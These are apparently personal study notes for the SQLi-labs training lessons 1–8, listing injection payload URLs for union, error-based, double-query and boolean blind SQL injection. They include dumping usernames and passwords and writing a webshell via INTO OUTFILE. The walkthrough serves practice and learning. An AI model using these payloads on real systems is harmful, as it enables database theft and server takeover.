less-1

get -error based -single quotes(單引號) -string

1、判斷注入點

http://sqlilab.pl.com:8080/Less-1/

http://sqlilab.pl.com:8080/Less-1/?id=1

http://sqlilab.pl.com:8080/Less-1/?id=1'（可能存在注入點）

http://sqlilab.pl.com:8080/Less-1/?id=1' and '1'='1（回顯正常）

http://sqlilab.pl.com:8080/Less-1/?id=1' and '1'='2（無回顯信息）（注入點為字符型）

2、判斷字段數(shù)

http://sqlilab.pl.com:8080/Less-1/?id=1' order by 4 --+

http://sqlilab.pl.com:8080/Less-1/?id=1' order by 3 --+（回顯正常）（字段數(shù)為3）

http://sqlilab.pl.com:8080/Less-1/?id=-1' union select 1,2,3 --+

3、暴數(shù)據(jù)庫名（當(dāng)前及所有）

http://sqlilab.pl.com:8080/Less-1/?id=' union select 1,database(),3 --+

http://sqlilab.pl.com:8080/Less-1/?id=' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

4、爆表

http://sqlilab.pl.com:8080/Less-1/?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

5、爆字段

http://sqlilab.pl.com:8080/Less-1/?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

6、爆數(shù)據(jù)

http://sqlilab.pl.com:8080/Less-1/?id=' union select 1,group_concat(username),group_concat(password) from security.users --+

less-2

get-error based -integer(整型) based

http://sqlilab.pl.com:8080/Less-2/?id=1'（回顯錯誤，可能存在注入點）

http://sqlilab.pl.com:8080/Less-2/?id=1 and 1=1（回顯正常）

http://sqlilab.pl.com:8080/Less-2/?id=1 and 1=2（無回顯信息）（integer injection）

http://sqlilab.pl.com:8080/Less-2/?id=1 order by 3（回顯正常）

http://sqlilab.pl.com:8080/Less-2/?id=-1 union select 1,2,3

http://sqlilab.pl.com:8080/Less-2/?id=-1 union select 1,database(),3

http://sqlilab.pl.com:8080/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

less-3

get -error based -single quotes with twist(括號) -string

http://sqlilab.pl.com:8080/Less-3/?id=1')--+（推出（’id‘））

http://sqlilab.pl.com:8080/Less-3/?id=1') order by 3--+

http://sqlilab.pl.com:8080/Less-3/?id=-1') union select 1,2,3 --+

less-4

get -error based -double quotes -string

http://sqlilab.pl.com:8080/Less-4/?id=1"（回顯錯誤，存在注入點）

http://sqlilab.pl.com:8080/Less-4/?id=1") --+（回顯正常）

http://sqlilab.pl.com:8080/Less-4/?id=-1") union select 1,2,3--+

less-5

get -double injection -single quotes -string（雙注入：利用count(), group by, floor(), rand()進行報錯）

select count( * ) from tbl_name(三行以上的表) group by floor(rand(0)*2)

http://sqlilab.pl.com:8080/Less-5/?id=1

http://sqlilab.pl.com:8080/Less-5/?id=1‘（回顯錯誤）

http://sqlilab.pl.com:8080/Less-5/?id=1’ --+（回顯正常）

http://sqlilab.pl.com:8080/Less-5/?id=1' union select 1,count(*),concat((select database()),':',floor(rand(0) *2)) as a from information_schema.tables group by a --+

http://sqlilab.pl.com:8080/Less-5/?id=1' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),':',floor(rand(0) *2)) as a from information_schema.tables group by a --+

less-6

get -double injection -double quotes -string

http://sqlilab.pl.com:8080/Less-6/?id=1

http://sqlilab.pl.com:8080/Less-6/?id=1'（回想正常）

http://sqlilab.pl.com:8080/Less-6/?id=1"（回顯錯誤）

http://sqlilab.pl.com:8080/Less-6/?id=1" and 1=1--+ （回顯正常）

http://sqlilab.pl.com:8080/Less-6/?id=1" and 1=2--+ （回顯無信息）

http://sqlilab.pl.com:8080/Less-6/?id=1"order by 4--+（回顯錯誤）

http://sqlilab.pl.com:8080/Less-6/?id=1"union select 1,count(),concat((select database()),':',floor(rand(0)2)) as a from information_schema.tables group by a--+

http://sqlilab.pl.com:8080/Less-6/?id=1"union select 1,count( * ),concat((select username from security.users limit 0,1),':',floor(rand(0)*2)) as a from information_schema.tables group by a--+)

less-7

get -dump into outfile -string(轉(zhuǎn)存到輸出文件)

http://127.0.0.1:8080/Less-7/?id=1

http://127.0.0.1:8080/Less-7/?id=1‘（回顯錯誤）

http://127.0.0.1:8080/Less-7/?id=1')) and 1=1--+（回顯正常）（推出(('id'))）

http://127.0.0.1:8080/Less-1/?id=-1'union select 1,2,@@datadir--+（推出網(wǎng)站絕對路徑）

http://127.0.0.1:8080/Less-7/?id=1')) and (select count(*) from mysql.user)>0 --+（回顯正常）（推出具有文件讀寫權(quán)限）

http://127.0.0.1:8080/Less-7/?id=1')) union select 1,2,3 into outfile "less-7text.txt的絕對路徑"--+（即使回顯錯誤，文件也已經(jīng)生成了）

http://sqlilab.pl.com:8080/Less-7/?id=1')) union select 1,2,'<一句話木馬>' into outfile "C:\users\73125\software\phpstudy_pro\www\sqlilab.pl.com\Less-7\test.php" -- +（寫入文件過后訪問）

http://sqlilab.pl.com:8080/less-7/test.php（復(fù)制鏈接到中國菜刀進行添加）

less-8

get -blind -boolian based -single quotes

http://sqlilab.pl.com:8080/Less-8/?id=1（回顯正常）

http://sqlilab.pl.com:8080/Less-8/?id=1'（無回顯信息）

http://sqlilab.pl.com:8080/Less-8/?id=1' --+（回顯正常）

http://sqlilab.pl.com:8080/Less-8/?id=1'and 1=1--+（回顯正常）

http://sqlilab.pl.com:8080/Less-8/?id=1'and 1=2--+（無回顯信息）

http://sqlilab.pl.com:8080/Less-8/?id=1'and length(database())=8--+（數(shù)據(jù)庫名長度為8）

http://sqlilab.pl.com:8080/Less-8/?id=1'and substring(database(),1,1)='s'--+（數(shù)據(jù)庫名第一位是 s）

編寫python腳本進行爆庫

res = urllib.request.urlopen(final_url)?
echo = res.read().decode("utf-8")